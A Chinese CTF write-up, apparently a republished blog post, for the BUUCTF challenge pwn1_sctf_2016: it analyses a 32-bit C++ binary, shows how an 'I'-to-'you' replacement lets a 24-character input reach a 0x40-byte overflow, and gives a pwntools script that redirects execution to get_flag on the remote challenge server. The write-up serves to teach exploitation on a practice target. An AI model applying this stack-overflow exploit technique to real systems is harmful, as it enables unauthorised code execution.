当前位置: 首页 > news >正文

PWN手成长之路-12-pwn1_sctf_2016

image

远程连接环境查看交互。
image

file 查看文件。32 位可执行文件。
image

checksec 查看文件。开启了 NX 保护。
image

IDA 打开文件。main 函数直接是调用 vuln 函数。
image

查看 vuln 函数。发现使用 C++ 写的。发现了存在 fgets() 函数,会造成栈溢出漏洞,而且其中存在把用户输入的 I 字符串替换成 you。
image

溢出大小:0x3C+0X4=0x40,也就是十进制的64,但是由于之前分析函数的时候发现1个字节的 I 会被替换成3个字节的 you,因此我们只需要输入20个 I 以及4个任意字符,即可造成溢出。
image
image

还发现了一个 get_flag() 函数。
image

思路:使用 fgets() 函数使程序栈溢出,再覆盖程序至 get_flag() 的函数地址,从而得到 flag。
exp:

from pwn import *
r=remote('node5.buuoj.cn',27003)
context.arch='i386'
context.os='Linux'
elf=ELF('./pwn')
backdoor_addr=elf.symbols['get_flag']#这个相当于我们自己写地址,只是这个直接从程序中获取地址了。
getflag_addr=0x8048F0D
payload=b'I'*20+b'a'*4+p32(backdoor_addr)
r.sendline(payload)
r.interactive()

成功得到了 flag。
image

http://www.hskmm.com/?act=detail&tid=27242

相关文章:

  • WPF应用最小化到系统托盘
  • Hyper-v 安装 Android9
  • test8 - post
  • 素材
  • 数论上
  • 数论中
  • 数论下
  • 赌狗确实很爽,也确实很容易上天台
  • 20252430毛姝涵
  • 在AI技术唾手可得的时代,挖掘开发者工具新需求成为关键突破点
  • uniapp 简单封装接口请求
  • 【SPIE出版】第五届算法、高性能计算与人工智能国际学术会议(AHPCAI 2025)
  • 深入解析:recipes中声明 DEPENDS += “virtual/kernel“ 的效果
  • 2025 防洪板源头厂家最新推荐榜单:铝合金 / 移动 / 应急款精准测评,稳定性能品牌优选指南
  • 完整教程:【复习】计网每日一题--PPP链路
  • Ubuntu安装 IDEA
  • 精密星历内插的MATLAB代码实现
  • .                    当项目规模失控时:架构师的“止损”之道
  • 2025 年护栏厂家最新推荐排行榜:涵盖锌钢防撞桥梁交通市政不锈钢波形围墙道路护栏优质企业锌钢/防撞/桥梁/交通/市政/不锈钢/波形护栏厂家推荐
  • .                                  为什么资深开发者越来越少写代码?
  • .                                  性能优化的尽头,是洞察力
  • 遗传算法的多车场车辆路径问题求解
  • 元数据提供器(IMetadataDetailsProvider)是什么
  • 2025 年清理工具应用程序品牌最新推荐榜单:精选适配 macOS 系统的优质系统优化工具,助力高效管理 icloud 与谷歌云储存空间苹果系统清理/云储存清理工具公司推荐
  • Claude Sonnet 4.5 发布,程序员原地起飞!!
  • 2025 年上海商用净水器公司实力最新推荐权威排行榜:深度剖析学校 / 医院 / 写字楼 / 工厂 / 事业单位优质之选
  • cursor 开了 pro 没办法使用 claude 模型
  • 从0开始使用LabVIEW操作数据采集卡-概述和新建新建项目
  • 当开发者学会拒绝
  • 日志不是垃圾:它是系统的生命线